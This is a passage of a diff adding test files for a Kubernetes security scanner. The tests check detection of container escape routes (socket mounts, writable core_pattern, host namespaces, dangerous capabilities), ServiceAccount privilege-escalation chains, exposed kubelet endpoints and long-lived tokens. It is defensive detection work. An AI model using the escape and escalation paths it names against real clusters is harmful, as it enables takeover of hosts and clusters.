test_sys_ptrace_with_hostpid_is_easy(): + pod = make_pod( + containers=[make_container(caps_add=["SYS_PTRACE"])], + host_pid=True, + ) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-CAP-SYS_PTRACE") + assert f.exploitability == "easy" + + +def test_unrelated_capability_not_flagged(): + pod = make_pod(containers=[make_container(caps_add=["CHOWN", "FOWNER"])]) + ids = {f.id for f in scan_escapes(pod)} + assert "ESC-CAP-CHOWN" not in ids + + +# ---------- hostPath escapes ---------- + +def test_docker_socket_mount_trivial_critical(): + pod = make_pod( + volumes=[make_host_path_volume(path="/var/run/docker.sock")], + ) + findings = scan_escapes(pod) + f = next(f for f in findings if f.id == "ESC-HOSTPATH-SENSITIVE") + assert f.severity == "critical" + assert f.exploitability == "trivial" + assert "docker" in (f.exploit or "").lower() + + +def test_containerd_socket_mount_trivial_critical(): + pod = make_pod( + volumes=[make_host_path_volume(path="/var/run/containerd/containerd.sock")], + ) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTPATH-SENSITIVE") + assert f.severity == "critical" + assert "ctr" in (f.exploit or "") + + +def test_root_hostpath_critical(): + pod = make_pod(volumes=[make_host_path_volume(path="/")]) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTPATH-SENSITIVE") + assert f.severity == "critical" + + +def test_kubelet_state_dir_prefix_match(): + """Subpaths of sensitive dirs should still match (e.g. /var/lib/kubelet/pods/abc/...).""" + pod = make_pod( + volumes=[make_host_path_volume(path="/var/lib/kubelet/pods/abc-123")], + ) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTPATH-SENSITIVE") + assert "kubelet" in (f.description or "").lower() or "kubelet" in (f.impact or "").lower() + + +def test_etc_kubernetes_hostpath(): + pod = make_pod(volumes=[make_host_path_volume(path="/etc/kubernetes")]) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTPATH-SENSITIVE") + assert f.severity == "critical" + + +def test_generic_hostpath_lower_severity(): + pod = make_pod(volumes=[make_host_path_volume(path="/tmp/app-data")]) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTPATH-GENERIC") + assert f.severity == "medium" + + +# ---------- Writable /proc primitive ---------- + +def test_writable_core_pattern_trivial(): + """Mounting /proc/sys/kernel/core_pattern writable is a trivial host code-exec primitive.""" + c = make_container(volume_mounts=[ + make_volume_mount(mount_path="/proc/sys/kernel/core_pattern", read_only=False), + ]) + pod = make_pod(containers=[c]) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-PROC-WRITE") + assert f.severity == "critical" + assert f.exploitability == "trivial" + assert "core_pattern" in (f.exploit or "") + + +def test_writable_proc_root_easy(): + c = make_container(volume_mounts=[ + make_volume_mount(mount_path="/proc", read_only=False), + ]) + pod = make_pod(containers=[c]) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-PROC-WRITE") + assert f.severity == "high" + + +def test_readonly_proc_not_flagged(): + c = make_container(volume_mounts=[ + make_volume_mount(mount_path="/proc/sys/kernel/core_pattern", read_only=True), + ]) + pod = make_pod(containers=[c]) + ids = {f.id for f in scan_escapes(pod)} + assert "ESC-PROC-WRITE" not in ids + + +# ---------- hostNetwork / hostIPC ---------- + +def test_hostnetwork_flagged_with_kubelet_poc(): + pod = make_pod(host_network=True) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTNET") + assert "10250" in (f.exploit or "") + assert f.exploitability == "easy" + + +def test_hostipc_flagged(): + pod = make_pod(host_ipc=True) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTIPC") + assert "ipcs" in (f.exploit or "") + + +# ---------- Root user multiplier ---------- + +def test_root_user_no_drop_emits_multiplier(): + """Plain root (no privileged, no caps) is a multiplier, medium severity.""" + pod = make_pod(containers=[make_container(run_as_user=0)]) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-ROOT-NO-DROP") + assert f.severity == "medium" + assert f.exploitability == "moderate" + + +def test_root_user_with_caps_not_double_counted(): + """If the container already has dangerous caps, the root-multiplier finding shouldn't fire (the cap finding dominates).""" + pod = make_pod(containers=[make_container(run_as_user=0, caps_add=["SYS_ADMIN"])]) + ids = {f.id for f in scan_escapes(pod)} + assert "ESC-CAP-SYS_ADMIN" in ids + assert "ESC-ROOT-NO-DROP" not in ids + + +def test_nonroot_user_no_multiplier(): + pod = make_pod(containers=[make_container(run_as_user=1000)]) + ids = {f.id for f in scan_escapes(pod)} + assert "ESC-ROOT-NO-DROP" not in ids + + +# ---------- Negative cases ---------- + +def test_clean_pod_produces_no_escape_findings(): + """Minimal hardened pod: non-root, no caps, no privileged, no hostNS, no hostPath.""" + c = make_container(privileged=False, run_as_user=1000, read_only_root_filesystem=True, + allow_privilege_escalation=False) + pod = make_pod(containers=[c]) + findings = scan_escapes(pod) + assert findings == [] diff --git a/tests/test_kubelet.py b/tests/test_kubelet.py new file mode 100644 index 0000000..faea1b2 --- /dev/null +++ b/tests/test_kubelet.py @@ -0,0 +1,212 @@ +"""Tests for active kubelet probing. + +We stand up a real local HTTP server (no mocking the urllib internals) +that returns different bodies/codes per path. This actually exercises +the HTTP handling code paths that production would hit. +""" +import threading +import socket +from http.server import BaseHTTPRequestHandler, HTTPServer +from types import SimpleNamespace +from typing import Dict, Tuple + +import pytest + +from kuberoast.scanners.kubelet import ( + _http_get, _tcp_open, _probe_readonly, _probe_api_port, scan_kubelet, +) + + +class _Handler(BaseHTTPRequestHandler): + routes: Dict[str, Tuple[int, str]] = {} + + def do_GET(self): + for path, (status, body) in self.routes.items(): + if self.path == path: + self.send_response(status) + self.send_header("Content-Type", "application/json") + self.end_headers() + self.wfile.write(body.encode()) + return + self.send_response(404) + self.end_headers() + + def log_message(self, *args, **kwargs): + pass # silence test noise + + +def _free_port() -> int: + s = socket.socket() + s.bind(("127.0.0.1", 0)) + port = s.getsockname()[1] + s.close() + return port + + +@pytest.fixture +def http_server(): + """Yield (host, port, set_routes_fn). Server runs for the test, shuts down after.""" + port = _free_port() + handler = type("H", (_Handler,), {"routes": {}}) + srv = HTTPServer(("127.0.0.1", port), handler) + t = threading.Thread(target=srv.serve_forever, daemon=True) + t.start() + + def set_routes(routes: Dict[str, Tuple[int, str]]): + handler.routes = routes + + yield "127.0.0.1", port, set_routes + srv.shutdown() + srv.server_close() + + +def test_http_get_returns_status_and_body(http_server): + host, port, set_routes = http_server + set_routes({"/pods": (200, '{"kind":"PodList"}')}) + status, body = _http_get(f"http://{host}:{port}/pods") + assert status == 200 + assert "PodList" in body + + +def test_http_get_handles_404(http_server): + host, port, _ = http_server + status, _ = _http_get(f"http://{host}:{port}/nothing") + assert status == 404 + + +def test_http_get_handles_unreachable(): + status, _ = _http_get("http://127.0.0.1:1/x", timeout=0.5) + assert status == -1 + + +def test_tcp_open_true_for_listening(): + s = socket.socket() + s.bind(("127.0.0.1", 0)) + s.listen(1) + port = s.getsockname()[1] + try: + assert _tcp_open("127.0.0.1", port) is True + finally: + s.close() + + +def test_tcp_open_false_for_unbound(): + assert _tcp_open("127.0.0.1", 1) is False + + +def test_readonly_pods_endpoint_emits_critical(monkeypatch, http_server): + """When /pods returns a PodList, we should emit KUBELET-RO-PODS critical.""" + host, port, set_routes = http_server + set_routes({"/pods": (200, '{"kind":"PodList","items":[]}')}) + + # Make the probe target our test server's port instead of 10255 + monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open", + lambda ip, p, timeout=1.5: p == 10255) + + captured = {} + orig_http = _http_get + + def fake_http(url, **kw): + # Rewrite 10255 → our test port + url = url.replace(":10255/", f":{port}/") + captured["url"] = url + return orig_http(url, **kw) + + monkeypatch.setattr("kuberoast.scanners.kubelet._http_get", fake_http) + + findings = _probe_readonly("node-1", host) + ids = {f.id for f in findings} + assert "KUBELET-RO-PODS" in ids + pods_finding = next(f for f in findings if f.id == "KUBELET-RO-PODS") + assert pods_finding.severity == "critical" + assert pods_finding.exploitability == "trivial" + + +def test_readonly_metrics_emits_medium(monkeypatch, http_server): + host, port, set_routes = http_server + set_routes({ + "/pods": (200, "junk"), # not a PodList, won't trigger RO-PODS + "/metrics": (200, "# HELP foo bar"), + }) + monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open", + lambda ip, p, timeout=1.5: p == 10255) + + def fake_http(url, **kw): + url = url.replace(":10255/", f":{port}/") + return _http_get(url, **kw) + + monkeypatch.setattr("kuberoast.scanners.kubelet._http_get", fake_http) + findings = _probe_readonly("node-1", host) + ids = {f.id for f in findings} + assert "KUBELET-RO-METRICS" in ids + + +def test_api_port_anon_pods_critical(monkeypatch, http_server): + """Anonymous /pods on 10250 = textbook game-over kubelet.""" + host, port, set_routes = http_server + set_routes({"/pods": (200, '{"kind":"PodList"}')}) + + monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open", + lambda ip, p, timeout=1.5: p == 10250) + + def fake_http(url, **kw): + # rewrite https://...:10250 to http://...:port (test server is plain HTTP) + url = url.replace(f"https://{host}:10250/", f"http://{host}:{port}/") + return _http_get(url, **kw) + + monkeypatch.setattr("kuberoast.scanners.kubelet._http_get", fake_http) + findings = _probe_api_port("node-1", host) + ids = {f.id for f in findings} + assert "KUBELET-API-ANON-PODS" in ids + f = next(f for f in findings if f.id == "KUBELET-API-ANON-PODS") + assert f.severity == "critical" + + +def test_api_port_401_emits_info(monkeypatch, http_server): + host, port, set_routes = http_server + set_routes({"/pods": (401, "")}) + monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open", + lambda ip, p, timeout=1.5: p == 10250) + + def fake_http(url, **kw): + url = url.replace(f"https://{host}:10250/", f"http://{host}:{port}/") + return _http_get(url, **kw) + + monkeypatch.setattr("kuberoast.scanners.kubelet._http_get", fake_http) + findings = _probe_api_port("node-1", host) + ids = {f.id for f in findings} + assert "KUBELET-API-AUTH" in ids + + +def test_configz_disclosure(monkeypatch, http_server): + host, port, set_routes = http_server + set_routes({ + "/pods": (200, "junk"), # not a podlist + "/configz": (200, '{"kubeletconfig":{"clusterDNS":["10.0.0.10"]}}'), + }) + monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open", + lambda ip, p, timeout=1.5: p == 10250) + + def fake_http(url, **kw): + url = url.replace(f"https://{host}:10250/", f"http://{host}:{port}/") + return _http_get(url, **kw) + + monkeypatch.setattr("kuberoast.scanners.kubelet._http_get", fake_http) + findings = _probe_api_port("node-1", host) + ids = {f.id for f in findings} + assert "KUBELET-CONFIGZ" in ids + + +def test_scan_kubelet_handles_no_nodes(): + assert scan_kubelet([]) == [] + + +def test_scan_kubelet_skips_unreachable_nodes(monkeypatch): + """Nodes with no open ports should produce zero findings.""" + monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open", + lambda ip, p, timeout=1.5: False) + node = SimpleNamespace( + metadata=SimpleNamespace(name="n1"), + status=SimpleNamespace(addresses=[SimpleNamespace(type="InternalIP", address="10.0.0.1")]), + ) + assert scan_kubelet([node]) == [] diff --git a/tests/test_manifests.py b/tests/test_manifests.py new file mode 100644 index 0000000..57d3ad9 --- /dev/null +++ b/tests/test_manifests.py @@ -0,0 +1,185 @@ +"""Tests for offline manifest loader (shift-left mode).""" +import json +import os +from pathlib import Path + +import pytest + +from kuberoast.utils.manifests import load_manifests, _to_snake + + +def test_snake_conversion_basics(): + assert _to_snake("hostNetwork") == "host_network" + assert _to_snake("hostPID") == "host_pid" + assert _to_snake("hostIPC") == "host_ipc" + assert _to_snake("runAsUser") == "run_as_user" + assert _to_snake("allowPrivilegeEscalation") == "allow_privilege_escalation" + assert _to_snake("readOnlyRootFilesystem") == "read_only_root_filesystem" + assert _to_snake("automountServiceAccountToken") == "automount_service_account_token" + assert _to_snake("loadBalancerSourceRanges") == "load_balancer_source_ranges" + + +def test_snake_conversion_external_ips_quirk(): + """The kubernetes Python client uses external_i_ps (not external_ips) — we mirror that.""" + assert _to_snake("externalIPs") == "external_i_ps" + + +def test_load_single_pod_yaml(tmp_path: Path): + pytest.importorskip("yaml") + f = tmp_path / "pod.yaml" + f.write_text("""\ +apiVersion: v1 +kind: Pod +metadata: + name: p1 + namespace: ns +spec: + containers: + - name: c + securityContext: + privileged: true +""") + grouped = load_manifests(str(tmp_path)) + assert "Pod" in grouped + pod = grouped["Pod"][0] + assert pod.metadata.name == "p1" + assert pod.spec.containers[0].security_context.privileged is True + + +def test_load_multidoc_yaml(tmp_path: Path): + pytest.importorskip("yaml") + f = tmp_path / "many.yaml" + f.write_text("""\ +apiVersion: v1 +kind: Pod +metadata: + name: p1 +spec: + containers: [{name: c}] +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: d1 +spec: + template: + spec: + containers: [{name: c}] +""") + grouped = load_manifests(str(tmp_path)) + assert "Pod" in grouped and "Deployment" in grouped + + +def test_load_json_list(tmp_path: Path): + f = tmp_path / "list.json" + f.write_text(json.dumps({ + "kind": "List", + "items": [ + {"apiVersion": "v1", "kind": "Pod", "metadata": {"name": "a"}, "spec": {"containers": []}}, + {"apiVersion": "v1", "kind": "Service", "metadata": {"name": "s"}, "spec": {"type": "ClusterIP"}}, + ], + })) + grouped = load_manifests(str(tmp_path)) + assert len(grouped.get("Pod", [])) == 1 + assert len(grouped.get("Service", [])) == 1 + + +def test_skips_non_k8s_files(tmp_path: Path): + pytest.importorskip("yaml") + (tmp_path / "values.yaml").write_text("nameOverride: foo\nimage: x\n") + grouped = load_manifests(str(tmp_path)) + assert grouped == {} + + +def test_handles_unparseable_yaml_gracefully(tmp_path: Path): + pytest.importorskip("yaml") + (tmp_path / "broken.yaml").write_text("this is not :: valid: yaml: { :") + # Should not raise; broken file silently skipped + grouped = load_manifests(str(tmp_path)) + assert grouped == {} + + +def test_scanner_works_on_manifest_loaded_pod(tmp_path: Path): + """End-to-end: load a privileged pod from YAML, run scanner, get POD-PRIV.""" + pytest.importorskip("yaml") + f = tmp_path / "bad.yaml" + f.write_text("""\ +apiVersion: v1 +kind: Pod +metadata: + name: bad-pod + namespace: prod +spec: + containers: + - name: c + securityContext: + privileged: true +""") + grouped = load_manifests(str(tmp_path)) + from kuberoast.scanners.pods import scan_pod_security + findings = scan_pod_security(grouped["Pod"][0]) + ids = {f.id for f in findings} + assert "POD-PRIV" in ids + + +def test_scanner_works_on_manifest_loaded_service(tmp_path: Path): + """externalIPs in YAML must reach the scanner correctly.""" + pytest.importorskip("yaml") + f = tmp_path / "svc.yaml" + f.write_text("""\ +apiVersion: v1 +kind: Service +metadata: + name: bad-svc + namespace: prod +spec: + type: ClusterIP + externalIPs: [1.2.3.4] +""") + grouped = load_manifests(str(tmp_path)) + from kuberoast.scanners.network import scan_services + findings = scan_services(grouped["Service"]) + ids = {f.id for f in findings} + assert "NET-EXTERNAL-IP" in ids + + +def test_deployment_template_reaches_pod_scanner(tmp_path: Path): + pytest.importorskip("yaml") + f = tmp_path / "deploy.yaml" + f.write_text("""\ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: bad-deploy + namespace: prod +spec: + template: + spec: + hostPID: true + containers: + - name: c + securityContext: + privileged: true +""") + grouped = load_manifests(str(tmp_path)) + from kuberoast.utils.workloads import synthesize_pod_from_workload + from kuberoast.scanners.escapes import scan_escapes + pod = synthesize_pod_from_workload(grouped["Deployment"][0], "Deployment") + findings = scan_escapes(pod) + ids = {f.id for f in findings} + assert "ESC-PRIV-HOSTPID" in ids + + +def test_nested_directories_walked(tmp_path: Path): + pytest.importorskip("yaml") + (tmp_path / "chart").mkdir() + (tmp_path / "chart" / "templates").mkdir() + (tmp_path / "chart" / "templates" / "pod.yaml").write_text("""\ +apiVersion: v1 +kind: Pod +metadata: {name: nested} +spec: {containers: [{name: c}]} +""") + grouped = load_manifests(str(tmp_path)) + assert "Pod" in grouped + assert grouped["Pod"][0].metadata.name == "nested" diff --git a/tests/test_reporting.py b/tests/test_reporting.py index 52c23ad..82f291f 100644 --- a/tests/test_reporting.py +++ b/tests/test_reporting.py @@ -30,7 +30,7 @@ def test_text_output_grouped_by_severity(): def test_text_output_summary(): output = text_report.emit(_sample_findings()) assert "3 findings" in output - assert "1 critical" in output + assert "CRITICAL 1" in output def test_text_empty_findings(): diff --git a/tests/test_sa_chains.py b/tests/test_sa_chains.py new file mode 100644 index 0000000..0a869b2 --- /dev/null +++ b/tests/test_sa_chains.py @@ -0,0 +1,149 @@ +"""Tests for multi-hop ServiceAccount escalation chains.""" +from kuberoast.attackpaths.sa_chains import analyze_sa_chains +from tests.conftest import ( + make_role, make_cluster_role, make_rule, make_binding, make_cluster_binding, + make_subject, make_pod, +) + + +def test_direct_bind_to_clusteradmin_is_one_hop(): + """SA with create rolebindings can bind self to cluster-admin in 1 hop.""" + crole = make_cluster_role(name="binder", rules=[ + make_rule(verbs=["create"], resources=["clusterrolebindings"]), + ]) + crb = make_cluster_binding(name="binder-grant", role_kind="ClusterRole", role_name="binder", + subjects=[make_subject(kind="ServiceAccount", name="attacker", namespace="dev")]) + findings = analyze_sa_chains([], [crole], [], [crb], pods=[]) + chains = [f for f in findings if f.id == "AP-CHAIN"] + target = next(c for c in chains if "sa:dev:attacker" in c.resource) + assert target.severity == "critical" + assert target.exploitability == "trivial" + assert "clusterrolebinding" in (target.exploit or "").lower() + + +def test_two_hop_chain_via_create_pod_then_bind(): + """SA-A can create pods → run as SA-B → SA-B can bind cluster-admin.""" + # SA-B has the privileged binding capability + crole_binder = make_cluster_role(name="binder", rules=[ + make_rule(verbs=["create"], resources=["clusterrolebindings"]), + ]) + sa_b_grant = make_cluster_binding(name="sa-b-grant", role_kind="ClusterRole", role_name="binder", + subjects=[make_subject(kind="ServiceAccount", name="sa-b", namespace="prod")]) + + # SA-A can create pods in prod + role_pod_creator = make_role(name="pod-creator", namespace="prod", rules=[ + make_rule(verbs=["create"], resources=["pods"]), + ]) + sa_a_grant = make_binding(name="sa-a-grant", namespace="prod", role_kind="Role", role_name="pod-creator", + subjects=[make_subject(kind="ServiceAccount", name="sa-a", namespace="prod")]) + + # SA-B has a pod we can exec into (provides edge endpoint via create pods, not exec) + pod_b = make_pod(name="b-pod", namespace="prod", service_account_name="sa-b") + + findings = analyze_sa_chains([role_pod_creator], [crole_binder], [sa_a_grant], [sa_b_grant], pods=[pod_b]) + chains = [c for c in findings if c.id == "AP-CHAIN" and "sa:prod:sa-a" in c.resource] + assert chains, "Expected chain starting from sa:prod:sa-a" + chain = chains[0] + assert chain.severity == "critical" # 2 hops still critical + + +def test_impersonate_is_one_hop_to_admin(): + """impersonate users → can act as system:admin directly.""" + crole = make_cluster_role(name="imp", rules=[ + make_rule(verbs=["impersonate"], resources=["users"]), + ]) + crb = make_cluster_binding(name="imp-grant", role_kind="ClusterRole", role_name="imp", + subjects=[make_subject(kind="ServiceAccount", name="att", namespace="x")]) + findings = analyze_sa_chains([], [crole], [], [crb], pods=[]) + chains = [c for c in findings if c.id == "AP-CHAIN"] + target = next(c for c in chains if "sa:x:att" in c.resource) + assert target.exploitability == "trivial" + + +def test_token_request_is_one_hop_to_any_sa(): + """create serviceaccounts/token → mint token for any SA.""" + crole = make_cluster_role(name="token-minter", rules=[ + make_rule(verbs=["create"], resources=["serviceaccounts/token"]), + ]) + crb = make_cluster_binding(name="g", role_kind="ClusterRole", role_name="token-minter", + subjects=[make_subject(kind="ServiceAccount", name="att", namespace="x")]) + + # Add an admin SA to mint a token for + admin_role = make_cluster_role(name="admin", rules=[ + make_rule(verbs=["*"], resources=["*"]), + ]) + admin_grant = make_cluster_binding(name="admin-grant", role_kind="ClusterRole", role_name="admin", + subjects=[make_subject(kind="ServiceAccount", name="god", namespace="y")]) + + findings = analyze_sa_chains([], [crole, admin_role], [], [crb, admin_grant], pods=[]) + chains = [c for c in findings if c.id == "AP-CHAIN" and "sa:x:att" in c.resource] + assert chains, "Expected chain via TokenRequest" + # Should be 1 hop: att → mint token for god (terminal) + assert chains[0].severity == "critical" + + +def test_chain_skips_kube_system_starts(): + """We don't want to flag kube-system SAs as 'escalation starts' — they're already privileged.""" + crole = make_cluster_role(name="binder", rules=[ + make_rule(verbs=["create"], resources=["clusterrolebindings"]), + ]) + crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="binder", + subjects=[make_subject(kind="ServiceAccount", name="kube-controller-manager", namespace="kube-system")]) + findings = analyze_sa_chains([], [crole], [], [crb], pods=[]) + chains = [c for c in findings if c.id == "AP-CHAIN"] + starts = {c.resource for c in chains} + assert "sa:kube-system:kube-controller-manager" not in starts + + +def test_no_chain_for_isolated_sa(): + """SA bound only to a read-only role should NOT produce a chain finding.""" + role = make_role(name="reader", namespace="ns", rules=[ + make_rule(verbs=["get", "list"], resources=["pods"]), + ]) + rb = make_binding(name="r", namespace="ns", role_kind="Role", role_name="reader", + subjects=[make_subject(kind="ServiceAccount", name="boring", namespace="ns")]) + findings = analyze_sa_chains([role], [], [rb], [], pods=[]) + chains = [c for c in findings if c.id == "AP-CHAIN" and "sa:ns:boring" in c.resource] + assert chains == [] + + +def test_get_all_secrets_is_terminal(): + """A principal that can get+list secrets cluster-wide is terminal (effective admin).""" + crole = make_cluster_role(name="secret-reader", rules=[ + make_rule(verbs=["get", "list"], resources=["secrets"]), + ]) + crb = make_cluster_binding(name="g", role_kind="ClusterRole", role_name="secret-reader", + subjects=[make_subject(kind="ServiceAccount", name="reader", namespace="x")]) + # Now another SA chains into it via TokenRequest + crole_mint = make_cluster_role(name="minter", rules=[ + make_rule(verbs=["create"], resources=["serviceaccounts/token"]), + ]) + crb_mint = make_cluster_binding(name="m", role_kind="ClusterRole", role_name="minter", + subjects=[make_subject(kind="ServiceAccount", name="att", namespace="y")]) + findings = analyze_sa_chains([], [crole, crole_mint], [], [crb, crb_mint], pods=[]) + chains = [c for c in findings if c.id == "AP-CHAIN" and "sa:y:att" in c.resource] + assert chains, "Expected chain into get-all-secrets terminal" + + +def test_exec_chain_uses_existing_pod(): + """Can-exec on a pod running SA-B should reach SA-B.""" + # SA-B has a privileged role + crole = make_cluster_role(name="binder", rules=[ + make_rule(verbs=["create"], resources=["clusterrolebindings"]), + ]) + crb_b = make_cluster_binding(name="b-grant", role_kind="ClusterRole", role_name="binder", + subjects=[make_subject(kind="ServiceAccount", name="sa-b", namespace="prod")]) + + # SA-A can exec into pods + role_exec = make_role(name="execer", namespace="prod", rules=[ + make_rule(verbs=["create"], resources=["pods/exec"]), + ]) + rb_a = make_binding(name="a-grant", namespace="prod", role_kind="Role", role_name="execer", + subjects=[make_subject(kind="ServiceAccount", name="sa-a", namespace="prod")]) + + pod = make_pod(name="b-pod", namespace="prod", service_account_name="sa-b") + findings = analyze_sa_chains([role_exec], [crole], [rb_a], [crb_b], pods=[pod]) + chains = [c for c in findings if c.id == "AP-CHAIN" and "sa:prod:sa-a" in c.resource] + assert chains + # exec PoC should reference the actual pod + assert "b-pod" in (chains[0].description or "") diff --git a/tests/test_tokens.py b/tests/test_tokens.py new file mode 100644 index 0000000..e9148d1 --- /dev/null +++ b/tests/test_tokens.py @@ -0,0 +1,99 @@ +"""Tests for ServiceAccount token analysis (JWT decode).""" +import base64 +import json + +from kuberoast.scanners.tokens import scan_tokens +from tests.conftest import make_secret + + +def _make_jwt(payload: dict) -> str: + """Build an unsigned JWT (header.payload.sig) for testing payload decoding only.""" + header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode() + body = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b"=").decode() + sig = base64.urlsafe_b64encode(b"sig").rstrip(b"=").decode() + return f"{header}.{body}.{sig}" + + +def _sa_secret(name, ns, token_payload): + token = _make_jwt(token_payload) + return make_secret( + name=name, namespace=ns, + secret_type="kubernetes.io/service-account-token", + data={"token": base64.b64encode(token.encode()).decode()}, + ) + + +def test_legacy_non_expiring_token_high(): + payload = { + "iss": "kubernetes/serviceaccount", + "kubernetes.io/serviceaccount/namespace": "default", + "kubernetes.io/serviceaccount/service-account.name": "my-sa", + # NO exp claim — legacy token + } + s = _sa_secret("my-sa-token", "default", payload) + findings = scan_tokens([s]) + legacy = next(f for f in findings if f.id == "TOKEN-LEGACY-NONEXPIRING") + assert legacy.severity == "high" + assert legacy.exploitability == "trivial" + assert "my-sa" in legacy.description + + +def test_expiring_token_medium(): + payload = { + "iss": "kubernetes/serviceaccount", + "kubernetes.io/serviceaccount/namespace": "ns", + "kubernetes.io/serviceaccount/service-account.name": "sa", + "exp": 9999999999, + "aud": "https://kubernetes.default.svc.cluster.local", + } + s = _sa_secret("sa-token", "ns", payload) + findings = scan_tokens([s]) + f = next(f for f in findings if f.id == "TOKEN-EXPIRING") + assert f.severity == "medium" + + +def test_non_default_audience_flagged(): + payload = { + "iss": "kubernetes/serviceaccount", + "kubernetes.io/serviceaccount/namespace": "ns", + "kubernetes.io/serviceaccount/service-account.name": "sa", + "aud": "sts.amazonaws.com", # IRSA audience + } + s = _sa_secret("irsa-token", "ns", payload) + ids = {f.id for f in scan_tokens([s])} + assert "TOKEN-AUDIENCE" in ids + + +def test_default_audience_not_flagged_as_irsa(): + payload = { + "iss": "kubernetes/serviceaccount", + "kubernetes.io/serviceaccount/namespace": "ns", + "kubernetes.io/serviceaccount/service-account.name": "sa", + "aud": "https://kubernetes.default.svc.cluster.local", + "exp": 9999999999, + } + s = _sa_secret("default-aud-token", "ns", payload) + ids = {f.id for f in scan_tokens([s])} + assert "TOKEN-AUDIENCE" not in ids + + +def test_unparseable_token_emits_opaque_finding(): + s = make_secret( + name="weird", namespace="default", + secret_type="kubernetes.io/service-account-token", + data={"token": base64.b64encode(b"not-a-jwt").decode()}, + ) + ids = {f.id for f in scan_tokens([s])} + assert "TOKEN-OPAQUE" in ids + + +def test_non_sa_secret_ignored(): + s = make_secret(name="opaque", namespace="default", + secret_type="Opaque", data={"foo": "Ymxh"}) + assert scan_tokens([s]) == [] + + +def test_missing_token_key_skipped(): + s = make_secret(name="weird", namespace="default", + secret_type="kubernetes.io/service-account-token", data={}) + assert scan_tokens([s]) == [] diff --git a/tests/test_webhooks.py b/tests/test_webhooks.py new file mode 100644 index 0000000..5446dc9 --- /dev/null +++ b/tests/test_webhooks.py @@ -0,0 +1,68 @@ +"""Tests for admission webhook bypass audit.""" +from kuberoast.scanners.webhooks import scan_webhooks +from tests.conftest import make_webhook, make_webhook_config + + +def test_fail_open_webhook_high(): + wh = make_webhook(name="policy.example.com", failure_policy="Ignore") + vw = make_webhook_config(name="vw-policy", webhooks=[wh]) + f = next(f for f in scan_webhooks([vw], []) if f.id == "WEBHOOK-FAIL-OPEN") + assert f.severity == "high" + assert f.exploitability == "moderate" + + +def test_fail_closed_webhook_not_flagged_as_open(): + wh = make_webhook(name="policy.example.com", failure_policy="Fail") + vw = make_webhook_config(name="vw-good", webhooks=[wh]) + ids = {f.id for f in scan_webhooks([vw], [])} + assert "WEBHOOK-FAIL-OPEN" not in ids + + +def test_long_timeout_flagged(): + wh = make_webhook(name="x", failure_policy="Fail", timeout_seconds=30) + vw = make_webhook_config(name="vw", webhooks=[wh]) + f = next(f for f in scan_webhooks([vw], []) if f.id == "WEBHOOK-SLOW-TIMEOUT") + assert f.severity == "low" + + +def test_long_timeout_plus_fail_open_is_medium(): + wh = make_webhook(name="x", failure_policy="Ignore", timeout_seconds=30) + vw = make_webhook_config(name="vw", webhooks=[wh]) + f = next(f for f in scan_webhooks([vw], []) if f.id == "WEBHOOK-SLOW-TIMEOUT") + assert f.severity == "medium" + + +def test_side_effects_unknown_flagged(): + wh = make_webhook(name="x", side_effects="Unknown") + vw = make_webhook_config(name="vw", webhooks=[wh]) + ids = {f.id for f in scan_webhooks([vw], [])} + assert "WEBHOOK-SIDE-EFFECTS" in ids + + +def test_missing_ca_bundle_flagged(): + wh = make_webhook(name="x", ca_bundle=None) + vw = make_webhook_config(name="vw", webhooks=[wh]) + f = next(f for f in scan_webhooks([vw], []) if f.id == "WEBHOOK-NO-CA") + assert f.severity == "medium" + + +def test_mutating_webhook_audited_too(): + wh = make_webhook(name="mutate.example.com", failure_policy="Ignore") + mw = make_webhook_config(name="mw-1", webhooks=[wh]) + f = next(f for f in scan_webhooks([], [mw]) if f.id == "WEBHOOK-FAIL-OPEN") + assert "MutatingWebhookConfiguration" in f.title + + +def test_multiple_webhooks_in_one_config(): + wh1 = make_webhook(name="a", failure_policy="Ignore") + wh2 = make_webhook(name="b", failure_policy="Ignore") + vw = make_webhook_config(name="vw", webhooks=[wh1, wh2]) + findings = scan_webhooks([vw], []) + assert len([f for f in findings if f.id == "WEBHOOK-FAIL-OPEN"]) == 2 + + +def test_clean_webhook_no_findings(): + wh = make_webhook(name="x", failure_policy="Fail", timeout_seconds=3, + side_effects="None", ca_bundle="abc") + vw = make_webhook_config(name="vw", webhooks=[wh]) + assert scan_webhooks([vw], []) == [] diff --git a/tests/test_workloads.py b/tests/test_workloads.py new file mode 100644 index 0000000..82cdf8a --- /dev/null +++ b/tests/test_workloads.py @@ -0,0 +1,101 @@ +"""Tests for workload pod-template extraction and resource relabeling.""" +from types import SimpleNamespace + +from kuberoast.scanners.escapes import scan_escapes +from kuberoast.scanners.pods import scan_pod_security +from kuberoast.utils.workloads import ( + synthesize_pod_from_workload, relabel_workload_findings, iter_workload_pods, +) +from tests.conftest import ( + make_pod, make_container, make_host_path_volume, + make_deployment, make_cronjob, +) + + +def test_synthesize_from_deployment_preserves_namespace_and_name(): + template = make_pod(name="ignored", namespace="prod", + containers=[make_container(privileged=True)]).spec + deploy = make_deployment(name="my-app", namespace="prod", template_spec=template) + pod = synthesize_pod_from_workload(deploy, "Deployment") + assert pod.metadata.name == "my-app" + assert pod.metadata.namespace == "prod" + assert pod.spec.containers[0].security_context.privileged is True + + +def test_synthesize_from_cronjob_walks_job_template(): + template = make_pod(name="ignored", namespace="batch", + containers=[make_container(caps_add=["SYS_ADMIN"])]).spec + 